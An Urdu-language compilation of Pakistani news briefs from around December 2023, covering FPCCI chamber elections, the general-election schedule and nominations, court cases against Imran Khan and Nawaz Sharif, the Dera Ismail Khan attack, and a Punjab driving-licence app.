چیمبر آف کامرس اینڈ انڈسٹریز کے نامزد امیدوار جن میں خواتین چیمبرز، چیمبر فار سمال ٹریڈرز، صنعت، تجارت اور خدمات کی نمائندگی کرنے والی قومی سطح کی انجمنیں ایف پی سی سی آئی کے سالانہ انتخابات میں ووٹ کاسٹ کریں گی۔

انجم نثار کی قیادت میں بزنس مین پینل (بی ایم پی) اور افتخار علی ملک اور ایس ایم نصیر کی قیادت میں یونائیٹڈ بزنس گروپ (یو بی جی) کے ساتھ بزنس مین پینل (پروگریسنگ) کا اتحاد دو بڑے گروپ انتخابات میں سرگرمی سے حصہ لے رہے ہیں۔ دونوں گروپس - BMP اور BMP کا اتحاد (Progressing) UBG کے ساتھ - FPCCI کے انتخابات میں فتوحات حاصل کرنے کے لیے آرام دہ پوزیشن میں ہونے کا دعویٰ کر رہے ہیں۔

صدر کے عہدے کے لیے ون ٹو ون مقابلہ ہے۔ جس کے لیے UBG سے نامزد عاطف اکرام شیخ اور BMP سے محمد علی میدان میں ہیں۔

سینئر نائب صدر کی نشست پر دو امیدوار میدان میں ہیں جن میں (UBG) کے ثاقب فیاض اور عبدالغنی (BMP) شامل ہیں۔

سندھ سے نائب صدر کی نشست کے لیے یو بی جی سے عبدالمومن خان اور بی ایم پی سے محمد یحییٰ میمن میدان میں ہیں۔

پنجاب سے نائب صدر کے عہدے کے لیے حافظ آصف اقبال بی ایم پی اور زین افتخار یو بی جی میدان میں ہیں۔

خیبرپختونخوا سے نائب صدور کی نشستوں کے لیے عون علی سید بی ایم پی اور یو بی جی کے اکبر خان مدمقابل ہیں۔

سمال ٹریڈرز کی جانب سے نائب صدور کی نشستوں کے لیے محمد ثاقب عباسی بی ایم پی اور طارق محمود جدون یو بی جی مد مقابل ہیں۔

محترمہ نادیہ وسیم بی ایم پی اور یو بی جی کی قرۃ العین ویمن چیمبر کی نائب صدر کی نشست پر مقابلہ کر رہی ہیں۔

بلوچستان چیمبر کی نائب صدر کی نشست پر بی ایم پی کے ناصر خان اور یو بی جی کے عبدالجبار اے موتی والا مدمقابل ہیں۔ فیڈرل ایریا پر نائب صدر کی نشست پر اشفاق احمد اور مسز شمیم ​​آرا مدمقابل ہیں۔

ایسوسی ایشن کلاس کے نائب صدور کی چار خالی نشستوں پر یو بی جی کے آصف انعام، امان پراچہ، آصف سخی اور ذکی اعجاز اور بی ایم پی کے محمد عمران خان (ٹیسوری)، مفسر عطا ملک، رفیق سلیمان اور محمد توقیر ملک میدان میں ہیں۔

الیکشن کمیشن نے ایک بار پھر انتخابی شیڈول میں تبدیلی کر دی

الیکشن کمیشن آف پاکستان نے ایک بار پھر انتخابات 2024 کیلئے جاری شیڈول میں تبدیلی کر دی ہے۔

الیکشن کمیشن کی جانب سے جاری کردہ نوٹیفکیشن کے مطابق مخصوص نشستوں کیلئے کاغذات نامزدگی کی جانچ پڑتال 30 دسمبر کے بجائے 13 جنوری تک کی جائے گی۔

ریٹرننگ افسران کے فیصلوں کے خلاف اپیل 16 جنوری تک دائر کی جا سکے گی جبکہ اپیلٹ ٹربیونل 19 جنوری تک اپیلیں نمٹائیں گے۔

مزید برآں مخصوص نشستوں کیلئے امیدواروں کی حتمی فہرست 23 جنوری کو آویزاں کی جائے گی

پاک فوج ملکی دفاع ناقابل تسخیر بنانے کے ساتھ ترقی و خوشحالی کیلئے بھی مصروف

پاک فوج ملکی دفاع ناقابل تسخیربنانے کے ساتھ ترقی وخوشحالی کیلئے بھی مصروف ہے،زراعت اور تعلیم سمیت دیگرشعبوں کی ترقی جاری ہے،اسمگلنگ و ذخیرہ اندوزی روکنےکیلئے پاک فوج بھرپور کردار ادا کر رہی ہے۔

پاک فوج ملک بھربالخصوص پسماندہ علاقوں میں ترقیاتی منصوبوں پر خصوصی توجہ دے رہی ہے۔جنوبی وزیرستان اور فرنٹیئر کور ریجن میں پچانوے ہزار ہیکٹر سے زائد رقبے پر موجود چلغوزے کے جنگلات سے سالانہ چودہ ارب روپے تک آمدن ہوتی ہے۔

پاکستان انیشیٹو پروگرام اور فان گرو کے تحت زراعت کے شعبے میں جدت لائی گئی۔ شرح خواندگی بڑھانے کیلئے عسکری قیادت نے اصلاحات متعارف کرائیں۔ بلوچستان میں پانچ سے زائد کیڈٹ کالجز کا قیام عمل میں لایا گیا ۔

جنوبی وزیرستان میں البدر آئی ٹی سینٹر بھی پاک فوج کا احسن اقدام ہے۔ پاک فوج کی جانب سے ملگر پور، سیالکوٹ اور بہاولپور کے دور دراز علاقوں میں مفت میڈیکل کیمپس بھی قائم کئے گئے ہیں۔ملکی معیشت کو ترجیحی بنیادوں پر ترقی کی راہ پر گامزن کرنے کیلئے عسکری قیادت دن رات کوشاں ہے۔

رواں سال آرمی چیف کی قیادت میں پاک فوج نے ملکی معیشت کو ذخیرہ اندزوں، اسمگلرز اور منشیات فروشوں کے چنگل سے چھڑانےکامش شروع کیا جو کامیابی سے جاری ہے۔

سال نو پر فائرنگ کرنیوالوں کیخلاف اقدام قتل کا مقدمہ درج کرنے کا فیصلہ

کراچی پولیس چیف نے سال نو پر ہوائی فائرنگ کرنیوالوں کیخلاف اقدام قتل کی ایف آئی آر درج کرنے کا اعلان کردیا۔ ان کا کہنا ہے کہ سال نو کی خوشیاں ضرور منائیں مگر قانون کو ہاتھ میں نہ لیں۔

کراچی پولیس چیف نے نیو ایئر پر ہوائی فائرنگ اور قانون کے خلاف اقدام اٹھانے والوں کو خبر دار کردیا، کہا کہ ہوائی ‏فائرنگ اور دنگے فساد میں ملوث عناصر پر اقدام قتل کی ایف آئی آر درج کی جائے گی، امن و امان خراب کرنے والوں کی ویڈوز بھی بنائی جائے گی۔

ایڈیشنل آئی جی خادم حسین رند نے نیوایئر نائٹ پر نقص امن پھیلانے والوں کیخلاف شہریوں سے بھی مدد مانگ لی۔ کہا کہ شہری بھی بدامنی پھیلانے والے عناصر کی ویڈیوز پولیس کو بھیجیں

عام انتخابات کی گہما گہمی جاری ، ڈیرھ سو سے زائد امیدواروں نے کاغذات نامزدگی حاصل کر لیے

کاغذات نامزدگی جمع کرانے کے دوسرے روز ڈیرھ سو سے زائد امیدواروں نے کاغذات نامزدگی حاصل کرلیے ۔

رپورٹس کے مطابق لاہور سےعام انتخابات میں حصہ لینے کیلئے مسلم لیگ ن کی تہمینہ دولتانہ، صبا صادق اورعظمی کاردار نے مخصوص نشستوں پر کاغذات نامزدگی جمع کروائیں پی ٹی آئی کی رہنماء ڈاکٹر یاسمین راشد نے جنرل اور مخصوص نشست کیلئے کاغذات نامزدگی جمع کروائے۔

لیگی رہنما مہر اشتیاق، مرزا جاوید، استحکام پاکستان پارٹی کے شعیب صدیقی سمیت دیگر نے کاعذات نامزدگی جمع کروائے جبکہ سلمان اکرم راجہ، لطیف کھوسہ، سابق صوبائی وزیر عبدالغفور، جماعت اسلامی کے لیاقت بلوچ اور آئی پی پی کے مراد راس نے اپنے اپنے حلقوں سے کاغذات نامزدگی حاصل کیے ۔

کل کاغذات نامزدگی جمع کروانے کا آخری روز ہے۔ ریٹرننگ افسران 23 دسمبر کو امیدواروں کی ابتدائی فہرست جاری کریں گے ۔

چیئرمین پیپلزپارٹی بلاول بھٹو زرداری نے عام انتخابات کیلئے کاغذات نامزدگی حاصل کرلئے، وہ کراچی کے علاقے لیاری سے الیکشن لڑیں گے۔

عام انتخابات؛کاغذات نامزدگی حاصل کرنے،جمع کرانے کا سلسلہ آج سے شروع

عام انتخابات میں حصہ لینے کیلئے کاغذات نامزدگی جمع کروانے کا سلسلہ آج سے شروع ہوگیا ہے۔

عام انتخابات میں حصہ لینےکیلئےکاغذات نامزدگی جمع کرانےکا سلسلہ آج سے شروع ہورہا ہے،امیدوارشام ساڑھے چاربجےتک کاغذات حاصل اورجمع کرا سکتے ہیں۔

 
ذرائع کےمطابق امیدوار 22 دسمبرتک کاغذات نامزدگی جمع کراسکتے ہیں،امیدواروں کی ابتدائی فہرست 23 دسمبر کو جاری ہوگی،کاغذات نامزدگی کی اسکروٹنی24 سے 30 دسمبرتک ہوگی 

13 جنوری کو امیدواروں کو انتخابی نشانات الاٹ کیےجائیں گے،عام انتخابات کے لیے پولنگ 8 فروری کو ہوگی

فیض آباد کیس،تحقیقاتی کمیشن کاجنرل (ر)فیض حمید کو بلانے کا فیصلہ

فیض آباد دھرنا کیس کے تحقیقاتی کمیشن نے لیفٹیننٹ جنرل ریٹائرڈ فیض حمید کو بلانے کا فیصلہ کرلیا۔

لیفٹیننٹ جنرل ریٹائرڈ فیض حمید کو آئندہ ہفتے طلبی کا نوٹس جاری کیا جاسکتا ہے۔ دھرنے کے وقت فیض حمید آئی ایس آئی کے ڈی جی سی تھے۔

 تحقیقاتی کمیشن میں آئی بی کے افسر ساجد کیانی نے تین گھنٹے طویل بیان بھی ریکارڈ کرا دیا جو دوہزار سترہ میں ایس ایس پی آپریشنز اسلام آباد کے عہدے پر خدمات سرانجام دے رہے تھے۔ 

ساجد کیانی نےتحقیقاتی کمیشن میں ریکارڈ کرائے گئے بیان میں تحریک لبیک کے خلاف آپریشن میں کسی بھی بیرونی مداخلت کی تردید کی۔ اس کے علاوہ فیض آباد دھرنے کے موقع پر تعینات آئی جی اسلام آباد خالد خٹک کو بھی طلب کرلیا گیا ہے۔

واضح رہے کہ فیض آباد دھرنے کے وقت لیفٹیننٹ جنرل(ر)فیض حمیدآئی ایس آئی کےڈی جی سی تھے۔

تحائف کم مالیت ظاہر کر کے رکھے گئے، توشہ خانہ ریفرنس کے نکات سامنے آ گئے

پاکستان تحریک انصاف کے سابق چیئرمین اور وزیراعظم کے خلاف توشہ خانہ ریفرنس کے نکات سامنے آ گئے۔

ریفرنس کے مطابق وزارت عظمی کے دوران بانی چیئرمین پی ٹی آئی اور بشری بی بی کو 108 تحائف ملے۔

108 تحائف میں سے 58 تحائف ملزمان نے رکھ لیے جو کہ تحائف کی کم مالیت ظاہر کرکے رکھے گئے۔

نیب ریفرنس کے مطابق ملزمان نے سعودی ولی عہد سے ملنے والا جیولری سیٹ بھی کم مالیت پر حاصل کیا۔

بشری بی بی نے سعودی ولی عہد سے ملنے والا جیولری سیٹ توشہ خانہ میں جمع نہیں کروایا، ملزمان تحائف توشہ خانہ میں جمع کروانے کے پابند تھے۔

حکومت کاغیرقانونی پاسپورٹ اور حساس ڈیٹا کی چوری روکنے کیلئے بڑا فیصلہ

‏وفاقی حکومت نےغیرقانونی پاسپورٹ اور حساس ڈیٹا کی چوری روکنے کیلئے بڑا فیصلہ کرتے ہوئے پاسپورٹ دفاتر کے چھ سیکشنز پر انسداد الیکٹرانک کرائمز ایکٹ نافذ کر دیا گیا ۔
افغان باشندوں سمیت تمام غیرملکیوں کے پاکستانی پاسپورٹس کا راستہ مستقل بند کرنےکیلئے پیکا قانون نافذ کر دیا گیا ۔اسلام آباد ،لاہور اور کراچی کے پاسپورٹ دفاتر میں مخصوص افسران کے سوا سب کا داخلہ بند کر دیا گیا ۔
وفاقی کابینہ سے وزارت داخلہ کی سمری پر سرکولیشن کے ذریعےمنظوری لی گئی ۔ چھ سیکشنز کاانفراسٹرکچرانتہائی حساس قرار۔ صرف سیکیورٹی کلئیرنس کے حامل مخصوص افسران اور ملازمین کو ان سیکشنزتک رسائی ہوگی 

آر اوز کی تربیت دوبارہ شروع، سرکاری ملازمین کے تبادلوں اور تقرری پر پابندی عائد

الیکشن کمیشن نے ڈسٹرکٹ ریٹرننگ اور ریٹرننگ افسروں کی تربیت دوبارہ شروع کردی ہے جبکہ وفاق اور صوبائی سرکاری ملازمین کے تبادلے، تقرری پر پابندی عائد کردی ہے۔
تفصیلات کے مطابق عام انتخابات سے متعلق ڈسٹرکٹ ریٹرننگ اور ریٹرننگ افسران کی تربیت دوبارہ شروع کردی گئی۔ الیکشن کمیشن کے مطابق آر اوز کی تربیت 18 جبکہ ڈی آر اوز کی تربیت 19 دسمبر کو مکمل ہوجائے گی۔
ترجمان الیکشن کمیشن کا کہنا ہے کہ ووٹوں کے اندراج، اخراج، تبدیلی اور درستی پر پابندی عائد کردی گئی ہے، الیکشن کمیشن کے افسران، ملازمین اور ریٹرننگ افسران کی چھٹیوں پر بھی پابندی عائد کردی ہے۔ ووٹرز لسٹوں اور سامان کی فراہمی کیلئے ریجنل دفاتر آج کھلے رہیں گے۔
الیکشن کمشن کی جانب سے جاری نوٹیفکیشن کے مطابق حکومتی و سرکاری اداروں میں ہر قسم کی ٹرانسفر اور پوسٹنگ پر مکمل پابندی ہے۔ الیکشن کمشن نے ہدایت کی ہے کہ کسی بھی ایمرجنسی ٹرانسفر یا پوسٹنگ کیلئے معاملہ الیکشن کمشن کو بھیجا جائے گا جبکہ پوسٹنگ اور ٹرانسفر کی وجوہات بھی بتانا ہوں گی۔
دوسری جانب شفاف الیکشن کیلئے نگران وفاقی وزراء کو ہٹانے کی درخواست سماعت کیلئے مقرر کر دی گئی۔ الیکشن کمشن نے نگران وزیراعظم انوار الحق کاکڑ، نگران وزیر فواد حسن فواد، مشیر احد چیمہ کو نوٹس جاری کر دیئے۔ الیکشن کمشن نے درخواست گزار کو بھی نوٹس جاری کر دیا ہے۔ درخواست پر الیکشن کمشن 19 دسمبر کو دن ایک بجے سماعت کرے گا۔ درخواست گزار نے مبینہ جانبدار وزراء کو نگران وفاقی کابینہ سے ہٹانے کی استدعا کر رکھی ہے۔

ڈی آئی خان دہشتگردی کے شہدا آبائی علاقوں میں فوجی اعزاز کے ساتھ سپرد خاک

خیبرپختونخوا کے ضلع ڈیرہ اسماعیل خان کے علاقے درابن میں دہشت گردوں کے حملے میں جام شہادت نوش کرنے والے پاک فوج کے جوانوں کو اپنے اپنے آبائی علاقوں میں مکمل فوجی اعزاز کے ساتھ سپرد خاک کر دیا گیا۔
پاک فوج کے شعبہ تعلقات عامہ کے مطابق شہدا کی نماز جنازہ میں پاک فوج کے افسران، جوانوں، عزیز اوقارب اور اہل علاقہ کی بڑی تعداد نے شرکت کی۔
آئی ایس پی آر نے کہاہے کہ شہدا کی یہ قربانیاں دہشت گردی کے خلاف جاری جنگ میں پاک فوج کے عزم اور حوصلے کو مزید تقویت دیتی ہیں۔
ترجمان نے عزم کیا کہ دہشت گردوں کے خلاف جاری جنگ آخری دہشت گرد کے خاتمے تک جاری رہے گی۔
واضح رہے کہ پیر اور منگل کی درمیانی شب ڈی آئی خان میں مشتبہ سرگرمیوں کے بعد سیکیورٹی فورسز نے مختلف کارروائیوں کے دوران مجموعی طور پر 27 دہشت گردوں کو ہلاک کردیا تھا، تاہم درابن کے علاقے میں سیکیورٹی پوسٹ پر خود کش حملے میں 23 اہلکار بھی شہید ہوگئے تھے۔
آج وزیراعظم انوارالحق کاکڑ نے حملے کے دوران زخمی ہونے والے فوجی جوانوں کی سی ایم ایچ ڈی آئی خان میں عیادت کی۔
اس موقع پر وزیراعطم انوارالحق کاکڑ کا کہنا تھا کہ دہشتگردوں کے خلاف جنگ ہم جیت چکے ہیں، صرف اعلان ہونا باقی ہے۔

’آپ کی نظر میں کوئی لڑکی ہو تو بتائیں‘، شادی کے سوال پر بلاول کا جواب

چیئرمین پاکستان پیپلز پارٹی بلاول بھٹو زرداری کی پشاور میں سینیئرصحافیوں سے غیر رسمی گفتگو ہوئی جس میں ایک صحافی نے ان سے شادی کے حوالے سے بھی سوال کیا۔
صحافی کے پوچھنے پر کہ ’شادی کب کر رہے ہیں‘ بلاول نے مذاقاً کہا کہ ’شادی میری ہونی ہے یا آپ کی، آپ کوکیا پریشانی ہے‘۔
بلاول بھٹو نے صحافی کو مخاطب کرتے ہوئے خوشگوار موڈ میں مزید کہا کہ ’آپ کی نظر میں کوئی لڑکی ہو تو بتائیں‘۔
واضح رہے کہ ان دنوں بلاول بھٹو زرداری کی شادی کے حوالے سے قیاس آرائیاں جاری ہیں۔ پی پی پی کے ذرائع نے یہ انکشاف کیا تھا کہ بلاول بھٹو کے لیے ایک دلہن کا انتخاب کیا گیا ہے اور منگنی دسمبر میں ’متوقع‘ ہے۔
اگرچہ سرکاری طور پرمنگنی کی تقریب کے لیے کسی مخصوص شہر کا انکشاف نہیں کیا گیا ہے تاہم ذرائع کی جانب سے اشارہ ملتا ہے کہ مذکورہ تقریب کراچی یا متحدہ عرب امارات میں کسی ایک جگہ ہوگی۔
جب بلاول بھٹو سے اگلے عام انتخابات کے انعقاد کے حوالے سے دریافت کیا گیا تو انہوں نے کہا کہ چیف جسٹس قاضی فائزعیسیٰ نے فیصلےمیں لکھا ہے کہ الیکشن کی تاریخ پتھر پرلکیر ہے اور ہمیں چیف جسٹس کی بات پر مکمل اعتماد ہے۔
ایک اور سوال کے جواب میں چیئرمین پیپلز پارٹی نے کہا کہ پنجاب میں 20 حلقوں کےانتخابات کو نہیں سنبھالا جاسکا توپورے ملک میں کیسےدھاندلی کومینیج کیا جائےگا۔
بلاول بھٹو نے کہا کہ پاکستان پیپلز پارٹی خیبرپختونخوا میں اپنی جگہ واپس چھینے گی۔ انہوں نے مزید کہا کہ پیپلز پارٹی وہ واحد جماعت ہے جسے وفاق میں حکومت ملی تو سب کو ساتھ لے کر چل سکتی ہے۔
ایک اور سوال کے جواب میں بلاول بھٹو نے کہا کہ آئندہ بننے والی حکومت اگر کمزور ہوئی تو وہ ملک کو مسائل سے نہیں نکال سکے گی۔ تاہم ان کا کہنا تھا کہ تمام سیاسی جماعتوں کو مل کر ملک کو مشکل سے نکالنا ہوگا۔

العزیزیہ ریفرنس، اسلام آباد ہائیکورٹ نے نواز شریف کو بری کر دیا

اسلام آباد ہائی کورٹ نے مسلم لیگ ( ن ) کے قائد اور سابق وزیر اعظم نواز شریف کو العزیزیہ ریفرنس میں بری کر دیا۔
منگل کے روز اسلام آباد ہائیکورٹ کے چیف جسٹس عامر فاروق اور جسٹس میاں گل حسن اورنگزیب پر مشتمل دو رکنی بینچ نے سابق وزیر اعظم نواز شریف کی العزیزیہ ریفرنس میں سزا کے خلاف اپیل پر سماعت کی اور فریقین کے دلائل مکمل ہونے کے بعد فیصلہ محفوظ کیا۔
بعدازاں، عدالت عالیہ نے محفوظ فیصلہ سناتے ہوئے سزا کے خلاف اپیل منظور کرلی اور نواز شریف کو بری کر دیا۔
احتساب عدالت نے نواز شریف کو العزیزیہ ریفرنس میں 7 سال سزا سنائی تھی،تاہم، اسلام آباد ہائیکورٹ نے احتساب عدالت کا فیصلہ کالعدم قرار دے دیا۔
سماعت کا احوال
منگل کو ہونے والی سماعت کے دوران قائد ( ن ) لیگ بھی عدالت میں پیش ہوئے جبکہ ان کے وکیل امجد پرویز نے دلائل دیتے ہوئے موقف اختیار کیا کہ صرف زیر کفالت کے ایک نکتے پر بات کرنا چاہتا ہوں جس پر چیف جسٹس نے مکالمہ کیا کہ آپ کے دلائل تو مکمل ہوگئے ہیں، تاہم، وکیل نے کہا کہ میں صرف ایک نکتے پر بات کرنا چاہتا ہوں۔
چیف جسٹس نے استفسار کیا کہ کیا نیب نے نوازشریف کے زیر کفالت سے متعلق کچھ ثابت کیا؟ جس پر وکیل نے بتایا کہ استغاثہ کے اسٹار گواہ واجد ضیاء نے شواہد نہ ہونے کا اعتراف کیا تھا، چیف جسٹس نے استفسار کیا کہ کیا نیب نے کوئی ثبوت دیا کہ اپیل کنندہ کے زیر کفالت کون تھے؟ ، امجد پرویز نے بتایا کہ بے نامی کی تعریف سے متعلق مختلف عدالتی فیصلے موجود ہیں، ہم نے ٹرائل کورٹ کے سامنے بھی اعتراضات اٹھائے تھے۔
عدالت نے استفسار کیا کہ کس بنیاد پر کہا گیا کہ بار ثبوت نواز شریف پر منتقل ہوگیا ہے؟، جس پر وکیل نے بتایا کہ پانامہ کیس میں حسین نواز کی متفرق درخواستوں کے فیصلے پر انحصار کیا گیا، درخواستیں تسلیم کر لیں تب بھی ثابت نہیں ہوتا کہ نوازشریف مل مالک ہیں، انہی متفرق درخواستوں پر ٹرائل کورٹ نے بھی انحصار کیا ہے، ٹرائل کورٹ نے ان متفرق درخواستوں کو ریکارڈ کا حصہ نہیں بنایا۔
وکیل کی جانب سے موقف اختیار کیا گیا کہ استغاثہ کیس ثابت کرنے میں ناکام ہو تو شریک ملزم کے بیان پر انحصار نہیں کیا جاسکتا، حسین نواز نے ٹی وی انٹرویو میں کہا کہ جائیداد کا والد سے تعلق نہیں، حسین نواز کے ٹی وی انٹرویو پر انحصار کیا گیا ہے، نوازشریف کی قومی اسمبلی میں تقریر پر بھی انحصار کیا گیا۔
مقدمات میں ملزم کو معصوم سمجھا جاتا ہے
امجد پرویز نے کہا کہ عدالتی فیصلوں میں ہے کہ مقدمات میں ملزم کو معصوم سمجھا جاتا ہے، فیصلوں کے مطابق مقدمات میں استغاثہ کو الزام ثابت کرنا ہوتے ہیں، فیصلوں کے مطابق بار ثبوت استغاثہ پر ہوتا ہے نہ کہ ملزم پر، ملزم کو اپنی بے گناہی ثابت کرنے کیلئے مجبور نہیں کیا جاسکتا، یہی قانون اثاثوں کے مقدمات میں بھی لاگو ہوا ہے۔
وکیل نے کہا کہ ملکیت کو استغاثہ نے ثابت کرنا تھا، استغاثہ نے ہی عوامی عہدہ رکھنے والا ثابت کرنا تھا، استغاثہ نے آمدن سے زائد اثاثے کو ثابت کرنا تھا، نوازشریف کیخلاف زبانی یا دستاویزی کوئی شواہد نہیں، بے نامی کا بار ثبوت تو ملزم پر منتقل ہوتا ہی نہیں۔
امجد پرویز کے دلائل مکمل
انہوں نے کہا کہ پراسیکیوشن نے آمدن اور اثاثوں کی قیمت بتانا تھی، استغاثہ نے ثابت کرنا تھا کہ جن کے نام اثاثے ہیں وہ تو زیر کفالت ہیں، پراسیکیوشن نے ثابت کرنا تھا کہ بے نامی جائیداد بنائی گئی، اگر کوئی ثبوت نہیں دیا گیا تو آمدن سے زائد اثاثوں کا کیس نہیں بنتا۔
نیب کے پراسکیوٹر کے دلائل کا آغاز
نیب کے پراسکیوٹر نے اپنے دلائل کا آغاز کرتے ہوئے موقف اختیار کیا کہ سپریم کورٹ نے ریفرنس دائر کرنے کی ہدایت کی تھی، 28 جولائی کے فیصلے کے بعد نیب نے اپنی تفتیش کی، اثاثہ جات کیس میں تفتیش کے 2، 3 طریقے ہی ہوتے ہیں، ہم نے جو شواہد اکٹھے کئے وہ ریکارڈ کا حصہ ہیں، ریکارڈ میں 161 کے بیانات بھی شامل ہیں۔
سماعت کے دوران نیب پراسکیوٹر کی جانب سے نواز شریف پر عائد فرد جرم کے کچھ حصے بھی پڑھے گئے۔
نیب پراسکیوٹر نے کہا کہ فرد جرم عائد کرتے ہوئے عدالت نے ملزمان کے معلوم ذرائع لکھے، نواز شریف پر کرپشن اور کرپٹ پریکٹس کے الزام کی فرد جرم عائد ہوئی، ایس ای سی پی، بینک اور ایف بی آر کے گواہ عدالت میں پیش ہوئے۔
چیف جسٹس عامر فاروق نے استفسار کیا کہ بنیادی طور پر اس کیس میں العزیزیہ اور ہل میٹل کے الزامات ہیں، پہلے بتائیں العزیزیہ میں کتنے پیسے اور کیسے بھیجے ؟ کب فیکٹری لگی ؟۔
پراسیکیوٹر نے کہا کہ یہ وائٹ کالر کرائم کا کیس ہے، پاکستان میں موجود شواہد اکٹھے کئے، بیرون ملک شواہد کے حصول کے لیے ایم ایل اے لکھے گئے ،
عدالت نے استفسار کیا کہ یہ بتائیں کن شواہد سے آپ ان کا تعلق کیس سے جوڑ رہے ہیں، جائیدادوں کی مالیت سے متعلق کوئی دستاویز تو ہوگی ؟۔
بتائیے العزیزیہ کب لگائی گئی؟
چیف جسٹس نے استفسار کیا کہ بتائیے العزیزیہ کب لگائی گئی؟ نوازشریف کے ساتھ کیا تعلق ہے؟جس پر پراسیکوٹر نے کہا کہ ثبوت میں دستاویز ان کی اپنی ہے، چیف جسٹس نے استفسار کیا کہ یہ کس کے حوالے سے دستاویز ہے؟ ، آپ نے پچھلی سماعت پر کہا تھا کہ جج کے حوالے سے تعصب کا معاملہ ہے، نیب پراسیکیوٹر نے کہا کہ جج کی برطرفی کے بعد اس فیصلے پر انحصار نہیں کرنا چاہیئے۔
نیب کی ریفرنس ٹرائل کورٹ کو بجھوانے کی استدعا
نیب پراسیکیورٹر نے استدعا کی کہ العزیزیہ ریفرنس ریمانڈ بیک کردیا جائے تاہم، عدالت نے کیس ریمانڈ بیک کرنے کی استدعا مسترد کرتے ہوئے استفسار کیا کہ آپ میرٹ پر کتنی دیر میں دلائل مکمل کریں گے؟۔
نیب پراسیکیوٹر نے کہا کہ واجد ضیا نے تجزیہ کیا کہ نواز شریف ہی اصل مالک ہیں جس پر چیف جسٹس نے ریمارکس دیئے کہ واجد ضیا تو خود مان رہے ہیں کہ ملکیت ثابت کرنے کا کوئی ثبوت نہیں، تاہم، پراسیکیوٹر نے کہا کہ ہمارا کیس ہی واجد ضیا کے تجزیے کی بنیاد پر ہے۔
چیف جسٹس نے ریمارکس دیئے کہ اس دستاویز سے کچھ ثابت نہیں ہوتا، مفروضے پر تو کبھی بھی سزا نہیں ہوتی

دہشتگردوں کا پاک فوج پر حملہ، پاکستان کا افغانستان سے شدید احتجاج،’ ڈو مور‘ کا مطالبہ

ڈی آئی خان میں دہشتگرد حملے میں پاک فوج کے 23 جوان شہید ہو ئے ہیں جبکہ 27 دہشتگردوں کو جہنم واصل کیا گیا ہے ،حملے کی ذمہ داری کالعدم تحریک طالبان کے ایک گروہ نے قبول کی ہے جس پر پاکستان نے افغانستان کے ناظم الامور کو دفتر خارجہ طلب کرتے ہوئے سخت احتجاج ریکارڈ کرواتے ہوئے کالعدم تحریک طالبان پاکستان کے خلاف کارروائی کا مطالبہ کر دیا ہے ۔
ترجمان دفتر خارجہ کی جانب سے جاری کردہ بیان میں کہا گیاہے کہ درابن واقعہ کی ذمہ داری تحریک جہاد پاکستان نامی گروپ نےقبول کی اور اس کا تعلق کالعدم تحریک طالبان پاکستان سے ہے ، دہشت گرد حملے میں سیکیورٹی فورسز کے 23 جوان شہید ہوئے، افغان ناظم الامور کو پاکستان کا احتجاج اپنی حکومت تک پہنچانے کا کہا گیا ہے، افغان حکومت تازہ دہشت گرد حملے کے ذمہ داروں کیخلاف تحقیقات اورسخت کارروائی کرے،عبوری افغان حکومت دہشت گرد حملے کی اعلٰی سطح پراعلانیہ مذمت کرے۔
دفتر خارجہ کے مطابق افغان حکومت ایسے اقدامات کرے جو نظر بھی آئیں اور دہشتگرد حملے میں ملوث افغانستان میں موجود ٹی ٹی پی قیادت کو پاکستان کے حوالے کیا جائے ،پاکستان میں دہشت گردی کیلئےافغان سرزمین کےمسلسل استعمال کو روکا جائے،آج کا حملہ خطے کے امن و سلامتی کو دہشت گردوں سے درپش خطرات کا عکاس ہے، ہمیں دہشت گردی کی لعنت کو مل کر شکست دینا ہوگی ،پاکستان دہشت گردی کے خلاف جنگ میں عزائم پر سختی سے قائم ہے۔
اس سے قبل آئی ایس پی آر کی جانب سے جاری کردہ بیان میں بتایا گیا کہ صبح 6 دہشت گردوں نے درابن میں سیکیورٹی فورسز کی چوکی پر حملہ کیا، دہشت گردوں نے بارود سے بھری گاڑی کو چوکی سے ٹکرادیا، دہشت گردوں کے حملے میں 23 فوجی جوان شہید ہوگئے جبکہ سیکیورٹی فورسز کی فائرنگ سے تمام 6 دہشت گرد ہلاک ہوگئے۔
آئی ایس پی آر کے مطابق سیکیورٹی فوسرز نے دہشت گردوں کی چوکی پر داخل ہونے کی کوشش کوناکام بنایا گیا۔ ناکامی پر دہشت گردوں نے بارود سے بھری گاڑی چوکی سے ٹکرا دی، خودکش حملہ بھی کیا گیا،دھماکوں کے نتیجے میں عمارت گر گئی۔
دوسری جانب ڈیرہ اسماعیل خان کے علاقے کلاچی میں بھی مزید 4 دہشت گردوں کو ٹھکانے لگایا گیا، فائرنگ کے تبادلے میں پاک فوج کے 2 جوان شہید ہوگئے۔درازندہ میں خفیہ معلومات پر آپریشن کے دوران دہشت گردوں کا ٹھکانہ بھی تباہ گیا، آپریشن کے دوران سیکیورٹی فورسز نے 17 دہشت گردوں کو ہلاک کیا، ہلاک دہشت سیکیورٹی فورسز اور عوام پر حملوں میں ملوث تھے۔
ترجمان پاک فوج کے مطابق کارروائیوں کے دوران دہشت گردوں کے قبضے سے اسلحہ، گولہ بارود اور دھماکہ خیز مواد برآمد بھی کیا گیا۔ علاقے میں مزید دہشت گردوں کی تلاش کیلئے آپریشنز جاری ہیں۔ سیکیورٹی فورسز دہشت گردی کی لعنت ختم کرنے کیلئے پرعزم ہیں

آن لائن لرننگ ڈرائیونگ لائسنس ایپ کا افتتاح کردیا گیا

وزیراعلیٰ محسن نقوی نے آن لائن لرننگ ڈرائیونگ لائسنس ایپ کا افتتاح کردیا۔
لاہور میں وزیراعلیٰ آفس میں آن لائن لرننگ ڈرائیونگ لائسنس ایپ کی افتتاحی تقریب ہوئی،تقریب میں صوبائی وزیراطلاعات عامرمیر،آئی جی پنجاب عثمان انور نےشرکت کی۔
تقریب میں چیئرمین پنجاب انفارمیشن ٹیکنالوجی بورڈ فیصل یوسف اور متعلقہ حکام بھی موجود ہیں
تقریب سے خطاب میں وزیراعلی محسن نقوی نےکہا پٹرولنگ پوسٹس،خدمت مراکز اور تھانوں پر لرننگ لائسنس کی سہولت دےرہےہیں،شہری گھر بیٹھےآن لائن لرننگ لائسنس کی سہولت سے فائدہ اٹھا سکیں گے۔تھانوں کےفرنٹ ڈیسک پرلرنر لائسنس کی سہولت کا آغاز بھی کردیا

فوجی عدالتوں میں سویلینز ٹرائل،بینچ میں جسٹس طارق مسعودکی موجودگی پراعتراض عائد

